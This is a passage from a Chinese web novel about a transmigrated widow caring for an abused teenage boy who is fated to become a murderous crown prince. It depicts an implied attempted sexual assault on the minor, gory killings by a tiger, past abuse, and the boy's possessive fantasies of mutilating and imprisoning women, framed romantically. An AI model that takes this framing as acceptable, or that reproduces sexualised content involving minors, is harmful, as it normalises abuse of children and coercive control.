“算你听话!放心,我们不会对你如何的,就是照你嫂嫂说的,带你去一个地方。”
方才凑得远,只觉得这孩子生得白净,这么凑近看,更觉得他小脸精致,忽略眼睛里的黑渗渗,就像是个漂亮易碎的陶瓷娃娃。
看得大汉呼吸都不禁快了些。
他和同伴们交换了一下眼神,十分猥琐地笑了。
反正都是要送去那地方。
还不如先让他们玩够了再说……
第9章 来,张嘴
谢景愿一声不吭,被这些人带着从小巷子穿出,来到一片野林。
“我们、真的要去这里吗?”他终于开口了,一双无害又空洞洞的眼盯着前面越来越偏僻的树林,带着试探的语气,有些迟疑有些怕。
知道他是发现了不对劲,此刻俨然是在害怕了。
这几个大汉更是兴奋得不行!
往日女人玩了不少,像这样漂亮的男孩,还是头一次。
“不去这里去哪儿?这可是你嫂子同意的!”
一开始他还想后退,可听到这一句,他睫羽轻闪,突然又不动了。
几个人蜂拥围堵而来,满脸猥琐和不怀好意,将面前弱小的少年逼去到大树下。
谢景愿干瘦的身子抵在树干前,开始奋力反抗这些人接下来的**,但他太年少了,哪是这些五大三粗男人的对手!
“呲!臭小子,居然敢咬我!”大汉看着手背上被谢景愿咬出的一排血窟窿,眼中的**之色,顿时转变成了暴怒,“**,打!先打他一顿再说!”
拳头齐刷刷落下!
谢景愿被打得鼻青脸肿,嘴角也破了,抱着身子缩在树下,再也不敢抬头,显然是被打服了。
“行了!别打了,一会儿打**老子没得玩。”
“来,给老子张嘴!”
这时山林里的风声,突然变得几分诡异,四周的草丛里还跑走了一些小兔子。
而这群大汉根本没发现这点,一个接一个开始猥琐的解起了自己的裤腰带。
直到树丛里传出本不该出现的动静。
窸窸窣窣。
混杂着一声声的猛兽低吼……
还是最后的那个人发现了异样,他转头看去,脸上的玩乐之色被恐惧替代!声音都没发出,就被那从野林里窜出来的一头猛虎,直接一口咬断了咽喉!
“老虎!是老虎!”
猛兽的出现,吓坏了众人。
这离猎林可远着呢,怎会有野老虎?
一群人被吓得胆战心惊,裤子也没穿上,开始发疯般的逃窜。
但他们哪里是老虎的对手,只听一声刺破耳膜的虎啸,好似后面的山林都跟着震动了起来!
再等那个带头的大汉反应过来时,这头猛虎已经咬着一只刚撕扯下来的血淋淋断臂,喷着鼻子,带着绝对性的兽王威压,朝着他一步步踏来!
大汉挣扎着往后退,最后抵在了那棵熟悉的大树前。
身边的少年,依旧蜷缩着身子,可乱发
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下的那双眼,却闪着诡异阴暗的幽光。
在男人惊恐看来的同时,谢景愿也抬起了头,少年染满鲜血的唇角轻轻勾起,拧着脖子,歪头盯着他,像是在对他笑。
阴森又诡异……
大汉瞪大眼睛!
突然就明白了什么,一股阴渗渗的窒息感,从脚底心窜遍全身。
仿佛这个活人,比那身后的猛虎还要可怕渗人百倍!
“啊——”
……
“景愿?!”
镇上这头,沈木兮还在苦苦寻觅着谢景愿的身影。
已经找了谢景愿一整日。
眼下已经天黑也没影子,她心中越发的急切。
乔二壮让人回去问了,说是谢景愿压根没回村里。
街道上,跑了一天的沈木兮累得双手抵在膝盖上,一边弓背喘气,一边自我懊恼。
后悔白日为什么不带着他一起进酒楼?
若是谢景愿在外出了事,她不仅仅害**未来的西越太子储君,还会断送了自己的命运。
在沈木兮几乎绝望时,乔二壮带来了消息。
“谢娘子!找到了,找到人了!”
她当即大喜,等赶到时,谢景愿正可怜的缩藏在一个阴森森的桥洞下。
第10章 一家人就要永远在一起
“景愿!别怕,我来了。”
沈木兮拦住要下去的乔二壮。
“不用了二壮哥,还是我去吧!”
谢景愿很自闭,除了自己外,寻常不爱和人说话,她怕他不愿意跟着乔二壮出来。
桥洞四周都是水,还有不少青苔,沈木兮刚下去就狠狠摔了一跤。
乔二壮着急地道:“谢娘子!”
“我没事!”沈木兮朝着他一笑,撑着桥洞边的大石头艰难爬了起来。
桥洞很暗,借着月光勉强看清了里面的人。
不知他今日遭遇了什么。
衣服破了,脸上还有伤,浑身湿漉漉的,正环着瘦小的身子,埋头藏在桥洞下最阴暗潮湿的角落。
就像是个被所有人遗弃的孩子,看起来可怜极了。
沈木兮心微微一颤,更加愧疚起来。
原是心疼的。
可看着看着,她又不禁皱起眉头。
因为她突然想起,文里男二在后期的所作所为,知道他今后是怎样一个危险又极端的人物!
这让她再看去面前少年的眼神中,除了那抹心疼外,还多了一点小小的警惕和防备。
原本要去扶他的手,迟疑了一下,在咽了口唾沫后,悄悄收了回去。
谢景愿余光将她那迟疑的小动作收入眼底,眼神更暗了。
但下一刻,沈木兮又上前了一步!
她实在想太多了,就算他今后是那样,那也是未知的。
现在自己就是他生命里的救赎,也是唯一的救赎,她若是再放弃了他,那他就真的再也逃不出这黑暗地狱了。
她努力挤出一抹笑,伸手上前要把他拉出来,可刚一触碰到他冰凉的手,却像被什么东西刺到了一般,瞬间缩了回去。
沈木兮瞪大眼睛,有几分不敢相信。
这一触,不仅仅是生理上的不适,连她的身心,也跟着一颤!
先前,她就发觉自己的第六感用在他身上有种很特别的魔力,一对上他的眼神,就能精准的感应出他对自己的厌恶度。
没想到触碰他的手指后,这种感觉更明显了!
她甚至觉得自己方才那一瞬,好像能读懂他的心声了。
‘我想她死……’
沈木兮睁大眼睛,看着面前的少年。
难道他是听说,自己要嫁去给李家,不要他了?所以生气了?
如此一想,沈木兮越发自责。
明明是皇家血脉,却流落在外,还被养父母如此对待,以至于厌弃了全天下。
“对不起……”她放柔声音。今日该带着他的。
“景愿,跟我回去,好不好?”
一句带着颤音的轻语,让谢景愿缓缓抬起了头。
女子眼中是毫不掩饰的心疼,和夹杂着的自责和难过。
像是月夜下,开得正盛,却又糜烂的曼陀罗花。
披着狼狈也明艳照人。
真是让人,好恶心讨厌……
她方才那一摔,怎么不直接摔死在这呢。
谢景愿垂下了脸,这次没有再硬躲着,而是乖乖的站起了身。
这是要跟着回去了。
沈木兮总算笑了:“走,我们回家。”
“以后我不会再丢下你了,我们是一家人,一家人就要永远在一起。”她坚定地说,一双晶灿灿的眼在这漆黑桥洞里,仿佛比后面夜空下的星星还要闪耀。
谢景愿轻颤着的眼尾轻颤了瞬,终于抬头看去沈木兮。
可在她要去拉他上来时,他却是别
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开了手。
起初她还不明,可看到他手背上的陈旧伤痕,顿时明白了什么。
他不会以为,她像以前那样要打他吧?
谢景愿似是真的害怕,垂着的指尖都在泛白。
越看,沈木兮越觉得自己方才想太多,即便他今后再怎样的危险和复杂,可他现在就是个孩子啊。
谢景愿的回避只是那一瞬,他还是乖巧顺从的伸来了手。
捕捉到他这些小细节,沈木兮心情略显沉重,默不作声带着他上了桥。
最后上了桥头,和乔二壮感激道了谢,说是下次一定要好好还他人情,一语不发的带着人走了。
找到了人,乔二壮也得回去交差。
临走时,有个去撒尿的衙役没回来,他又等了等。
没等到底下人回来,却听到一声大叫!
“头儿!头儿!”
“出什么事了?”乔二壮问。
那人裤子都没提,就从草丛里跑了出来,指着河对岸的小树林,脸色惨白!
“那……那边!”
乔二壮赶紧带着人去了,等到了地方,看到那个地坑里的可怕场景,他震惊地瞪大双眼……
……
镇上的一家客栈,沈庚跑进屋子,才跑几步就喘得不行,连身上的肥肉都像是大波浪一样的跟着喘。
“娘!出事了,出事了!我们安排的人,都**!”
“这下出人命了,可怎么办?”
他们又不是皇亲国戚,家里也没个当官的,那些打手是花钱雇的人,又不是卖给了他们。现在沈木兮那边没办妥,万一这头又追究起来,西越律法甚严,偏说是他们的责任,就完了呀!
沈庚越想越害怕,咣当一声砸在地上直哭!
第11章 贴贴
“早知道那赔钱货这么难缠,我就扮成女的嫁去了,先把嫁妆骗到手再说!”
林氏走出来,看了看自己傻儿子这身藏不住的肥肉,欲出口的话咽了回去:“瞧你那出息,这就吓怕了?”
她倒是淡定。
“不就是**了。我问你,人是**的。”
沈庚说:“听当地府衙的消息说,是在山林里被野兽咬死的,全部都成了尸块……”
他越说眼神越惊恐。
“既都成了尸块,那你怕个什么,这又查不到我们身上来。”
不过……
林氏皱眉:“奇怪,这镇上的树林里,哪里来的野兽?那些人,不是应该带着谢景愿那个拖油瓶走了吗?又怎么遇到这样的事。”
沈庚跪在地上抱着林氏的腿说:“娘,我们还是回京吧,我看这江州邪得很!”
“大老远跑来,什么好处没捞着,怎么能回去?”林氏眼珠儿一转,“这件事,没这么容易结束,我另有计较。”
……
次日一大清早,沈木兮去河边洗衣服。
村里的人也听说了昨夜镇上闹出人命的事,对岸几个村妇,正说的有鼻子有眼。
“是真的!听说现场血迹斑斑的,一个完整的人都拼不出来,可吓死个人了……”
“衙门的人说,应该是猎林里的野兽偷跑了出来,反正近日咱们还是小心着点。”
见沈木兮来了,这群女人们瞬间噤声。
在这村里,她因为长得漂亮,又是个寡妇,往日疯疯癫癫的还性子高傲。除了蔡大娘,基本没女的愿意待见她。
此刻见着沈木兮头回出来洗衣服,都跟见了鬼一样。
“瞧她啊,几百年不出门干活,今日太阳打西边出来,居然来洗衣服了?八成是出来想勾引谁吧!”
“就是,谁不知道她一直自诩今后要嫁去高门。可都是二手货了,又离皇城那么远,能嫁去哪个高门?”
一群女人冷哼着离开。
沈木兮汗颜。
原主的人缘也真够差的。
不过那些死不**的都和她没关系,现在的她,只想去搞钱,对其他的一概不感兴趣。洗完后抱着衣服就回去了。
“景愿,我给你留的粥喝了吗?”
回去后,沈木兮往屋里一瞅,没发现谢景愿的身影,准备出去瞧瞧,转身时脚下一滑,撞到了一个人。
快跌下去的时候,她顺手就想抱住个东西,下意识朝着面前的人贴了去。
她尴尬得只想找个坑把自己埋了。
对面的少年的眉心微蹙,一双黑渗渗的眼底闪过一丝不自在。
只是沈木兮此刻连脸都不敢抬,哪里又注
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意得到这些。
她咳嗽一声缓解尴尬,“是我方才没站稳。对了景愿,你怎么不喝粥?不饿吗?”
可能今日天色有些热,烈阳下少年的声音莫名带了一丝沙哑,但还是冷漠的很:“就剩下这点了,我想先留着。”
又没吃的了?
沈木兮皱眉,本以为这次去镇上能找个活儿干,赚点小钱,却遇到沈家那些破事。
现在临时再去找活儿也来不及,又不能总是问蔡大娘接济。
她看了眼前面大片的山头,突然来了主意:“景愿,你认识山里的路吗?我们去挖点野菜吧!”
她怎么就忘了这茬!
以前看王宝钏的时候,就总见着那些人挖野菜饱腹,没想到现在她也步上了后尘啊。
可谢景愿却是一脸茫然。
“野菜?”
“对啊,野菜你不知道吗?就在山林里,看起来像是野草,但却是可以吃的东西。等我给你采回来做好吃的!”
谢景愿的确不知道。
不仅是**,在这个世界里的人,都不知道有这种东西的存在。对于西越人而言,山林里的草就是草,那是畜牲吃的东西。
此刻看着沈木兮那眼睛亮闪闪,准备大干一场的架势。
谢景愿缓缓敛下了眸子。
这是把他当小畜牲了。
第12章 他在她心里,连狗都比不上
换作以往,谢景愿是不会想和沈木兮一块儿出去的,可今日,他的眼神闪烁了瞬,突然开口:“我们去西边那座山吧,那边山林茂密,兴许有你要找的东西。”
没想这孩子很少说话,更别说主动自己搭话了,这让沈木兮忍不住多瞧了他一眼。
门前日光下,谢景愿垂头站着,今日洗干净了些,看着一张脸更为精致漂亮,逐渐褪去青涩的深邃眉宇,在灼灼日光里融入远方的群山黛色。
果真是皇室中人,就算在这样的泥潭里长大,气场却是怎么都掩盖不了的。
那她就更要把他养好了。
沈木兮笑了,双眼笑成月牙!
“好,我们这就去!”
她没有原主的记忆,对于这里根本不熟,是谢景愿一路带着她上的山。
外面看着是觉得江州的山景很是秀丽,但真进来了才知道这里的地形十分复杂,不过谢景愿好像对这很熟,没多久就把她带上了山。
方才见谢景愿听到“野菜”时的茫然,她还以为是原主故意**,连野菜也不给他吃才不知道的。
现在才晓得,这里的人压根就不知道山林里的宝!
这里除了野菜,还有各种野菌子。
“这也太暴殄天物了。”
沈木兮赶紧蹲下,如数家珍般的往竹篓里搬。
若无人知道这些是可以吃的东西,那她岂不是要发财了?
此刻沈木兮的眼里,看到的不是野草,而是金灿灿的银子!
“景愿,赶紧帮忙,这些都可以吃的,赶紧。”
谢景愿看着身边女子,毫无形象蹲坐在地上,眼神晶亮,不停狂采着“猪食”的场景,神色极其古怪。
之前以为她是学聪明了,知道伪装自己,假意讨好他,然后想送走他,好顺利嫁去高门。
原来,她只是“疯”了。
“好。”不过他还是恭顺地蹲了下来,跟着她一块儿捡。
沈木兮顺手接过谢景愿的背篓:“我给你拿,别累着了!”
她一边擦汗,一边轻柔地笑说着,看他的眼神里,带着毫不掩饰的关怀,好像还有耀眼的星星。
谢景愿眉心紧了紧。
她怎么会对自己露出这样……让人作呕的神情。
他捏着野菜的手一紧,突然主动开口,指着另一个方向:“那边还有更多,上次我看到的。”
沈木兮一听,拍拍手当即起身:“那还等什么!”
她背着两个人的背篓就朝着那边去了。
全然没注意身后少年自卑恭顺眼底下愈发不见底的阴暗,和山林深处藏在风里的野兽低吼……
谢景愿所指的地方,在这山头的另一边,估计往日很少人来,这里的杂草丛生,十分幽静。
沈木兮兴奋地往前走,一路上还贴心地帮他扒开了沿路的枯枝野草。
“跟在我身后,别走丢了。”
方才只顾着探路,没注意到这前方林子里时不时传出的野林动静,现在行得近了,越发听得清楚。
沈木兮的脸色开始变得警惕。
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山野里宝贝多,但危险也不少!
听到一阵窸窸窣窣的声音,沈木兮顿时警惕起来,抬手把身后少年护在身后,很是紧张的道。
“好像不对劲……景愿,快躲在我身后,别怕。”
其实她都要怕**,双腿已经在狂抖,但一想着自己好歹是二十二岁的大人了,身后只是个十六七的孩子,怎么也不能先露怯。
谢景愿静静地看着她。
沈木兮当初要嫁来谢家时,还没那么疯癫高傲,但是她对所有人都客客气气的,却唯独对他不好。
后来到了村里,更是变本加厉。
心情好了,会让他上床给她暖身子。
心情不好,就让他趴在地上学狗吃饭。
以前他以为,她就是把自己当成了她的狗。
可后来,他看到了她对村里的大黄笑,给它饭吃。那时他便知道,他在她身边,其实连狗都比不上。
谢景愿盯着面前女子的眼眸逐渐变得幽怨和怪异,最后和那一抹自卑,混合成了另一种东西。
以前她从未待他好过。
现在她转性了,他也不会信。
周围山林里的动静越来越近!
树枝摇曳,沙沙作响!
那属于深山野兽的气息,也跟着席卷而来……
素来第六感极强的沈木兮,周身汗**瞬间竖起!
都要怕**,她也不忘护着身后的少年。
而身后的少年却是在看着她那纤长易折的娇嫩后颈,眼神里带着一股诡异的期待……
第13章 恨明月高悬独不照他
终于,草里的动静加大……
“谢娘子!谢娘子,原来你在这啊!”后方的草被人扒开,这突如其来的声音瞬间打破了野林里的古怪气氛。
“蔡大娘?”沈木兮意外地看着来人。
在蔡大娘出现的那一瞬,谢景愿就垂下了头,好像连同四周越发诡异的风声,也瞬间停息了。
蔡大娘不似以往的满脸热情带笑,此全是急色!
“总算找到你了,你家里出大事了!”
“赶紧吧!”
沈木兮见情况不妙,朝着后面唤了声:“景愿,快跟上。”
为了保险起见,她把采来的野菜和菌子都藏在了山腰。随后跟着蔡大娘匆忙下了山,沈木兮才大致晓得发生了什么。
原来是林氏来了。
这次她可不是单枪匹马,还带着府衙的官兵!
好巧不巧的,今日乔二壮不在里面,都是一些生面孔。
此刻这一群人正把她家这破屋子围着,林氏坐在旁边的草垛上,翘着二郎腿,沈庚正在给她捶着。
“娘,来了。”沈庚朝着沈木兮下山的方向努嘴,对林氏挤眉弄眼地说。
沈木兮看这架势就知道他们来者不善,不过她也没带怕的,对一脸担忧的蔡大娘小声说了句话,然后带着谢景愿大方走了过去。
“真是稀客啊。我在这乡下过了几年,也不见娘和大哥来呢。”
“我没什么好招待的,这山泉水就当给娘接风了。”
她拿起旁边一个木桶,朝着林氏泼了过去!
林氏一个闪身躲开。
沈庚太胖了跑不动,成了落汤鸡。他一闻,这哪里是山泉水,分明是粪水!
沈木兮假装捂嘴:“哎呀,拿错桶了。对不住了大哥,这里面是小妹我三天三夜的结晶,怕是臭的很,大哥不赶紧回去收拾一下,待会儿可就腌入味了。”
沈庚:“……”
这一幕,不仅仅旁边的官兵被雷到了,谢景愿也有些意外。
少年晦暗的眼底闪过一抹异彩,还有幸灾乐祸。
原来,被欺负的,并不是他一个。
高高在上的寒霜冷月,从来不是只不怜惜他一人。
林氏想安抚儿子,但又怕被沾上粪水,只能掩着口鼻退后。
“赔货钱!今日我来不是找你麻烦的,各位差爷,就是他,赶紧抓起来吧!”
官兵们应声,朝着沈木兮身后的谢景愿就围了过去。
沈木兮见情形不妙,提着粪桶上前作挡,那味儿太浓,官兵们纷纷止住步子。
“等一下!不知我家景愿犯了什么事,抓人总得给个说法吧。”
林氏就知道她会问这个,她叹气道:“娘知道木兮你在乡下过的不好,昨日来镇上看望你时,顺道儿也想看望一番这谢家小子。便好心让人请他来酒楼,和咱们一块儿聚聚。”
“没成想,这个谢景愿,小小年龄就如此歹毒,竟把那些人残忍杀死!还丢进了东边小树林的坑里!”
“咱们西越律令向来严苛,他做了这样的事,怎能就这样算了?就算是一家人,我也不能蒙蔽。差爷,赶紧抓住他,这么小就这么恶毒,今后还不知会是怎样一个祸害呢!”
沈木兮算是听明白了,丢开木桶。
“原来就是这事儿,行啊,我可以让你们把他抓走。”
谢景愿刚生出异彩的双瞳,瞬间被更深的黯然替代。
沈木兮又道:“不过嘛……”她说着摊出手。
林氏皱眉:“你这什么意思?”
“当然是证据了,抓人都要讲究人证物证。”沈木兮双手环胸,“你说我家景愿杀了人,那证据呢?我可听说那些人都是野兽咬死的,怎么就和我家景愿扯上关系了。”
林氏早有准备,讥笑道:“人是被野兽所伤不假,但谁说野兽和他没关系了?”
“不然野兽咬死那么多人,怎偏偏放过了他?再者,可是有人亲眼看到过你家这小子,在山林里偷偷摸摸的喂过野兽。这还不算证据?”
这话是林氏瞎编的,可一直站在屋廊下的少年眸底,却是划过一缕暗光。
林氏摆手:“也罢!就算这些你觉得不算数儿,那他也是最有嫌疑的。只能先带去官府,让知县老人
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定夺了!”
沈木兮:“……”
什么叫做不要脸,她今日算是见识到了。
若秦始皇认识她,还修什么长城,把她弄去杵着就是了!
“差爷们,快把他抓起来吧,别再祸害了其他人!”
真让林氏把人弄去官府了,那景愿还能活?白的也成黑的了!
“慢着——”她再次出声,摸着下巴,皱眉问,“奇怪啊,既然野兽袭人,把人咬得东一块儿西一块儿,娘怎么就知道那些是带走景愿的人?”
林氏只顾着来抓人了,倒是没想到这一层,眼神闪烁。
“还有,不是说把人带来酒楼吗,那小树林分明是反方向,怎么都不对劲吧。”
沈木兮回头:“景愿,我问你,昨日有人带你走吗?”
谢景愿正要走出来,沈木兮突然捏了捏他的手。
不像以往的粗暴,更没有弄疼他,只是轻轻一触。
女子的柔荑娇软嫩滑,在他手背上一搓一搓的。
这是他从未有过的感觉。
空渗渗的双眼里闪过一丝惊愕。
滚动的喉头灼热而发紧,手心里莫名其妙的多了一层汗。
“回嫂嫂的话,没有人。”谢景愿垂着头说,声音沙哑极了。
沈木兮满意地笑了,看向林氏。
“这就怪了呀,我家景愿昨日分明一直在家,哪儿也没去过呢。”
沈庚忍不住跳起来大骂:“沈木兮,你说谎!他明明就在酒楼外,我当时都看到了!”
沈木兮眼神一厉,笑意更浓了:“哦?大哥说什么?”
沈庚脸色顿时变了。
“各位差爷,你们都是听到的,这人若是就在酒楼外,为何不直接把人请进来,还跑去那么远的地方?我看这事情分明就有古怪!是把官差大哥们当成傻子般糊弄呢。”
现场官府的人对视一眼,也觉得这事情有些不对劲了。
这时,蔡大娘回来了,还带着乔二壮。
乔二壮今日休假没去镇上,此刻穿着一身寻常衣服,他一出现,那些府衙的人纷纷站好。
“头儿!”
第14章 有也惟有景愿一人
乔二壮扫了一圈四周,在路上他就知道发生了什么事,方才到场时也正听到了沈木兮的话。
他看了眼沈木兮,出声道:“昨日景愿一直在村子里,这点我可以作证。”
沈木兮朝着乔二壮感激一笑。
林氏看出这个乔二壮是有意维护沈木兮,此刻瞧着情况不对劲,终于是忍不住了,指着沈木兮破口大骂!
“赔钱货!你可是沈家人,居然胳膊肘往外拐!以前你是怎么说的,说这个谢景愿就是个拖油瓶,你早就想丢开他了!恨不得把他弄死!”
沈木兮:“……”
谢景愿在旁边垂头站着,盯着地上不说话。
“你可是姓沈啊!我们才是一家人,你竟帮着这个外人!”林氏说完不够,还要上前掐打沈木兮。
被乔二壮及时制止!
沈木兮听笑了,冷声道。
“家人?家人会把我遗弃在这乡下不管不顾?会逼着我嫁去可以当我爹的糟老头子?”
“既然大家都在这,今日我就当着差爷的面,和你们说清楚。以前是我沈木兮脑子不清醒,做了些糊涂事儿,但现在我已有心改过。也明确地告诉你,我和你们沈家没有半点关系,也不会再嫁人!”
“今后,我沈木兮的家人,有也惟有景愿一人!!”
说出最后一句话时,天际边响起了一声闷雷轰鸣!
而沈木兮的声音,好似穿透了一切,比那电闪雷鸣还要掷地有声!
盯着林氏等人的眼神里,带着愤然和决绝。
她眼中那一抹艳红的怒色,在这深山乡野里,竟闪耀着别样的光芒!
谢景愿猛地抬起头。
似困惑,似不明……但更多的情绪,都被他掩藏在那自卑色泽之下。
林氏一向欺软怕硬,被沈木兮的强势给吓着了,后退了一步。
沈庚瞧着这阵仗,凑过来小声说:“娘,我们还是走吧。”
官差们现在显然已经不信他们的话了,知道他们没有一丝胜券,林氏只能咬牙忍下,对沈木兮阴狠狠地道:“这是你说的,要和我沈家断绝关系,以后别后悔!”
在林氏看来,沈木兮现在穷得只剩下这四面破墙了,没有自己的接济,她只有等死!
死也是她自找的!
“庚儿,我们走!”
“等等。”
沈木兮抱胸从屋檐下走了出来。
“这么就想走了,岂非我家景愿的委屈白受了?沈夫人带着官差们前来闹成这样,今后传出去,我家景愿名声怎么办?”
“想走也可以,拿来吧!”
见她又摊出手,林氏莫名打了个寒颤。
“拿什么?”
“当然是精神赔偿金,名誉损失费啊。”
沈庚呵呸一声:“还想娘掏银子,沈木兮你做梦吧!”
沈木兮:“不给钱也成,你这么大张旗鼓的带着官府的人来,无非是想搞清楚那些尸体是怎么回事。那我们就彻查嘛。二壮哥,你说是吧?”
林氏脸色一变,这可不能彻查,若查到他们蓄意卖走谢景愿的事,届时被传到官府,那岂非就知道他们今日报假官的事了?欺骗父母官,这可是要吃官司的!
她咬咬牙,丢出一锭银子。
“一两够了吧?”
在乡下,这能够这沈木兮两人用大半年了!
沈木兮转头问谢景愿,眼睛眨巴眨巴:“景愿,你觉得怎么样?”
“我觉得一两银子……完全够了吧。”谢景愿知道沈木兮是想敲诈林氏一笔,方才配合她是为了自保,但心里的那一丝丝对她的反抗,让他并不想继续和这个女人一起“同流合污”。
“什么,你要一万两?”
“?”
沈木兮一脸无奈摊手:“瞧,都是我把他惯坏了。你小子,真是贪心啊。沈家只是个京城的普通商贾,真有这么多,沈家岂不是要**了?”
林氏:“……”
“沈夫人,对不住了,孩子小没见过世面,你随随便便给个两三百两也就是了。”
林氏气得嘴抽,这还真随便啊!
乔二壮像是座大山一样杵在沈木兮身边,横眼看来:“沈夫人,赶紧吧,不然我们就去府衙说话。”
林氏和沈庚相
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视,两人像是霜打的茄子,一边在心里咒骂**沈木兮,一边又不得不拿出银子。
只是他们身上全部加起来也就几十两。
最后还是被沈木兮打了欠条才肯放走的。
沈家人屁滚尿流逃走,连天边的霞光都变得璀璨了几分。
沈木兮捧着满手金灿灿的银子,回头和屋廊阴影下的少年对视相望。
这是属于他们两人,打的第一次“胜仗”!
有了这笔钱,眼下的生计便可解决了,还能把欠的银子还清。
沈木兮突然就想让林氏多来几次了,不过经过今日这一出,这沈家人怕是这辈子都不会再踏足江洲城小村落了吧。
“景愿,你先进屋子。”
谢景愿站在屋廊阴影下,黝黑不见底的眼瞳,盯着面前灿然笑着的女子。
她眼中对他的笑,是真的。
对沈家的反抗也是真的。
可是这真的好奇怪。
他不信她会为自己好,在他的少年岁月里,从未得过她的一丝怜爱,更不愿意相信她会为了自己舍弃沈家。
他想为她的转变,找到更合理的解释,可思来想起,竟找不出一个理由。
谢景愿垂下睫羽,乖巧地进了屋子。
沈木兮把银子大头留着,剩下的银子分成了几分,其中一点是准备给蔡大娘的,她一直都在帮着他们,怎么也要还人情。
之后她又拿了一些给乔二壮。
今日帮这么大的忙,若不是乔二壮在,林氏也没那么容易对付。
乔二壮受宠若惊,连连拒绝:“不可不可,你还清了债,就拿着剩下的好好和景愿过日子,给我做什么?我用不着的。”
“景愿还没成人,用不了什么的。二壮哥你就拿着吧,就当,是今后娶媳妇用的。”
沈木兮似乎还有话要对乔二壮说,她还事先看了眼屋子,随后把乔二壮带去了旁边的大树后。
不是她有意支走谢景愿,还避着他,只是接下来的这些话,不好让他听到。
可她却不知道,谢景愿一直阴渗渗地站在门后,黝黑眼瞳盯着她。
第15章 好……想把她藏起来
“二壮哥,我只是想问问你,那小树林里的尸体,真的都是被野兽咬死的吗?可知是哪里的野兽?”
她其实已经猜到,那些死掉的人,八成就是被林氏安排带谢景愿走的人。
她也知道,文中男二后期的可怕极端。
但现在他还没成人,应该……做不出这样的事吧。
可林氏有句话说的不假,若和谢景愿无关,那为何其他人都被咬**,就谢景愿一人好好的。
乔二壮知道沈木兮在担心什么,他说:“放心吧,已经经过核实,的确有猛兽从猎林逃走,猎林里的猛兽最具野性子,伤人是正常的。”
沈木兮呼出一口气。
指不定,谢景愿能逃走,当真是因为他运气好呢。
“谢谢二壮哥了,有你在真好!”
千穿万穿,马屁不穿。
她出来后不敢说得太大声,怕让谢景愿知道自己这般怀疑他,会让他心理更加变态。一时便和乔二壮凑得有些近了。
眼前年轻少妇的一张小脸红扑扑的,呼吸都在他下巴尖儿。
乔二壮也不由红了脸,喉头上下滚动。
屋中,咣当一声。
沈木兮惊觉:“二壮哥,等我一下。”说完她连忙跑回屋子。
烧了滚水的壶碎了满地,泼洒了旁边少年大半身。
他独自站在那片暗光里,手背被烫出满满的血泡,可他却是安静极了。站在那儿苍白又狼狈,像是一只被主人抛弃的小狗。
“景愿!”
沈木兮赶紧上前给他查看伤口,谢景愿却是抽回了手。
眼角湿漉漉的,声音带着一丝不易觉察的颤抖。
“我不要你管。”
“你走……”
这是谢景愿第一次直面反抗她。
可一个干瘦少年又有能多少力气?还被烫伤了。
那柔柔弱弱地一推,仿若小猫挠痒的在她身上一过,没让沈木兮生气,反而让她更心疼了。
又想起先前她居然真的怀疑是谢景愿放出的老虎,莫名更加惭愧!
“景愿,我怎会不管你呢?不是说了吗,我们是家人,是永远的一家人。”
至少,要等到女主出现在他的生命里,她才能放手。
“来,我先给你上药。”
沈木兮赶忙把他带去了帘子后,着急忙慌地给他处理伤口。
伤口比沈木兮起初看着的还要严重,血泡被针挑破,看起来皮肉翻卷。可都这样疼了,他也没吭声,可见他从小到大,过着的是怎样的日子。
像是触到了她心底最柔软的部分,她的眼圈微微发红。
她眼底里的担心,真真切切,毫不作假。
高悬的冷月,终于愿意怜惜他了吗?
那滴泪是谢景愿一直想要的。
每当她折辱他的时候,他便在想,这个女人一定不会为自己哭。那他一定要好好长大,今后亲自一刀刀片下她的肉,双手盛满她的血。
他要看着她哭。
可是,真等她落泪的这一瞬,谢景愿却又不满足了。
他除了想要她哭,还想要她像在乔二壮跟前时那样对他笑。
谄媚,讨好,又小心翼翼。
他突然有些嫉妒,嫉妒她对除了自己以外的人,都那么好。
他只想她以后只对着他一个人哭,对他一个人笑。
若是能挖掉她的眼睛就好了。
藏在他的手心里。
可惜了……他还没成人,没了她,他也活不久的。
窗边霞光里,谢景愿叹了口气,垂下眸子。
沈木兮垂着睫羽给她上药,但她的手却在无意间颤抖。
她每次一触碰到他的手,就能更真切地洞察到他的心声。
而此刻,她能真切地感觉到,他对自己的厌恶值几乎达到了这段时间以来的顶峰!
就这么讨厌她?
沈木兮心中无奈长叹。
处理烫伤可不简单,等沈木兮弄完,天色已经暗下。
等收拾完,沈木兮才想起乔二壮被自己丢在了外头,忙不迭出去一看。
外面早已黑透。
而乔二壮也已经走了。
她望着黑夜暮色,叹了口气。
她是知道乔二壮对她的心思,加上今日乔二壮的帮忙,让她心里对乔二壮也有了一点好感。
虽然不至于喜欢,或是在一起什么的。但沈木兮又觉得,自己
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今后和乔二壮常来往,那在谢景愿的成长时期里,有个成熟的男人在身边教导他,做他的榜样,会不会更好呢?
可现在,或许是天意吧。
沈木兮回来后,看了眼帘子后坐在床板上发呆的谢景愿,开始整理屋中剩下的一片狼藉,准备等会儿给他做一锅菌子汤补补。
自家这水壶用了不少时日,突然炸开也是正常。
可收拾收拾,沈木兮就发现了不对劲。
她捡起地上一块儿碎片,这裂口……不像是被热水炸的,倒像是人为……
因为她看到了碎片上被石头砸过的痕迹。
这点还不至于让沈木兮脸色如此发白,还因为,每天晚上,她都会用这个水壶烧水。
也只有她会用这个水壶!
不知道为什么,沈木兮忍不住回头看去身后那坐在木板床边,隐在暗色里的少年,背脊上爬满一阵寒意。
不怪沈木兮这样想,能知道她生活习性的人不多,连林氏也算计不到这一块儿。
她突然又想起先前在桥洞里找到谢景愿时,她所感觉到的他的“内心”!
他想她死……
窗外屋檐落下一滴夜露,啪嗒一声!
沈木兮心口处剧烈一颤。
可若是要对付她,他怎会自己受伤了?
眼前的少年依旧端坐在床边,规规矩矩,安静恭顺。
可沈木兮脑海中浮现出的,全部都是后期里他的所作所为。
在成为太子后,他不仅仅残忍杀**自己,还风干了她!
后来,为了抓到女主,不惜把男主围困在了幽州城,女主藏在里面一日,他便一天杀一个幽州百姓……直至女主出现。
等到女主落入他的手中,为了禁止女主接触外界的一切,他穿着太子华袍,站在雕栏玉砌的九阶台上,亲手给女主戴上手镣脚镣,日日将之锁在自己身边,连赴宴游街,也从未解开过。
还逼着女主,踩着缠满铁链的赤足,给他一个人跳舞。
‘西越太子’在后期文中,那就是绝对危险的几个字!
疯魔,痴狂……
可是现在,他还只是个乡野里的少年啊。
第16章 发现他的秘密
“嫂嫂,怎么了?”发现沈木兮眼神古怪地在盯着自己看,谢景愿像是终于忍不住了,低声问了句。
